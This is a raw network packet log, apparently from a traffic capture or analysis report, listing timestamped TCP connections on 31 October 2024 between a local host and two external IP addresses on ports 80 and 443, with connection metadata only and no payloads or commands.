Oct 31, 2024 05:07:29.812176943 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.812189102 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.812200069 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.812211037 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.812253952 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.812419891 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.812437057 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.812448978 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.812458992 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.812472105 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.812484026 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.812505960 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.812505960 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.812517881 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.846750975 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.846770048 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.846781015 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.846791983 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.846803904 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.846815109 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.846822023 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.846822023 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.846860886 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.885900974 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.885912895 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.885929108 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.885940075 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.885951996 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.885986090 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.885986090 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.886039972 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.919141054 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.919173002 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.919183969 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.919197083 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.919215918 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.919251919 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.919251919 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.919251919 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.919261932 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.919305086 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.919305086 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.919430971 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.919440985 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.919451952 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.919475079 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.919517040 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.927618027 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.927634954 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.927645922 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.927683115 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.927683115 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.927896976 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.927913904 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.927962065 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.927968025 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.927989960 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.928004026 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.928040028 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.928061008 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.928070068 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.928127050 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.928137064 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.928148031 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.928157091 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.928174019 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.928203106 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.928349972 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.928359032 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.928369999 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.928399086 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.928405046 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.928415060 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.928423882 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.928497076 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.928600073 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.928610086 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.928642988 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.928642988 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.928711891 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.928728104 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.928742886 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.928762913 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.928762913 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.928838015 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.928847075 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.928885937 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.928905010 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.928950071 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.928972960 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.928988934 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.929001093 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.929032087 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.929048061 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.929265976 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.929275990 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.929286003 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.929328918 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.929328918 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.929336071 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.929342031 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.929423094 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.929435968 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.929446936 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.929459095 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.929495096 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.929516077 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.929527044 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.929534912 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.929574966 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.929574966 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.963685989 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.963717937 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.963756084 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.963794947 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.036560059 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.036631107 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.036645889 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.036658049 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.036670923 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.036681890 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.036694050 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.036705017 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.036706924 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.036706924 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.036746025 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.036757946 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.036761045 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.036768913 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.036780119 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.036791086 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.036803961 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.036808014 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.036808014 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.036817074 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.036828995 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.036869049 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.036869049 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.036895037 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.036931992 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.036958933 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.036981106 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.037025928 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.037025928 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.044568062 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.044579029 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.044589043 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.044600964 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.044614077 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.044671059 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.044938087 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.045020103 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.045047998 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.045059919 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.045072079 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.045082092 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.045094967 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.045105934 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.045115948 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.045124054 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.045124054 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.045157909 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.045157909 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.045181036 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.045192003 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.045209885 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.045228004 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.045264959 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.045572996 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.045584917 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.045594931 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.045608044 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.045635939 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.045635939 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.045658112 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.045670033 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.045670986 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.045711040 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.045711040 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.045784950 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.045795918 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.045834064 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.045847893 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.098495007 CET	443	49939	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:30.098571062 CET	49939	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:30.099910975 CET	49939	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:30.099922895 CET	443	49939	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:30.100471020 CET	443	49939	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:30.150573015 CET	49939	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:30.163892031 CET	49939	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:30.163917065 CET	49939	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:30.164087057 CET	443	49939	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:30.617481947 CET	443	49939	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:30.617722034 CET	443	49939	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:30.617805958 CET	49939	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:30.620373011 CET	49939	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:30.620385885 CET	443	49939	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:30.620398998 CET	49939	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:30.620403051 CET	443	49939	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:30.667145967 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.667179108 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.667185068 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.667192936 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.667205095 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.667249918 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.667347908 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.667360067 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.667371988 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.667392015 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.667522907 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.667535067 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.667547941 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.667563915 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.672064066 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.672084093 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.672096014 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.672121048 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.713073969 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.823004007 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.823044062 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.823091984 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.823092937 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.823156118 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.823159933 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.823204994 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.823226929 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.823230028 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.823245049 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.823911905 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.823925018 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.823937893 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.823956966 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.823977947 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.823992968 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.824003935 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.824045897 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.824599028 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.824670076 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.824768066 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.839463949 CET	49949	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:30.839507103 CET	443	49949	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:30.839564085 CET	49949	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:30.840835094 CET	49949	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:30.840846062 CET	443	49949	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:30.942555904 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.942570925 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.942588091 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.942608118 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.942652941 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.942666054 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.942704916 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.942941904 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.942982912 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.942984104 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.942994118 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.943028927 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.943272114 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.943355083 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.943366051 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.943387032 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.978723049 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.978734970 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.978777885 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.983891964 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.983944893 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:30.983994961 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.984004974 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.984018087 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:30.984036922 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.025597095 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.067502022 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.067523956 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.067537069 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.067559004 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.067559004 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.067579031 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.067624092 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.067656994 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.067667961 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.067679882 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.067699909 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.067728996 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.067764044 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.067775011 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.067805052 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.097784996 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.097913027 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.097956896 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.102961063 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.102982044 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.102994919 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.103035927 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.180579901 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.180608988 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.180620909 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.180660009 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.180658102 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.180672884 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.180700064 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.180979013 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.180989981 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.181001902 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.181020975 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.181037903 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.181412935 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.181425095 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.181437016 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.181447983 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.181478977 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.230138063 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.230271101 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.230283022 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.230294943 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.230370045 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.230370045 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.299446106 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.299503088 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.299619913 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.299629927 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.299655914 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.299702883 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.299818039 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.299834967 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.299846888 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.299863100 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.299871922 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.299877882 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.299896955 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.300594091 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.300633907 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.300760984 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.300775051 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.300789118 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.300810099 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.335756063 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.335813046 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.335819006 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.340962887 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.340975046 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.340986967 CET	80	49943	185.215.113.16	192.168.2.4
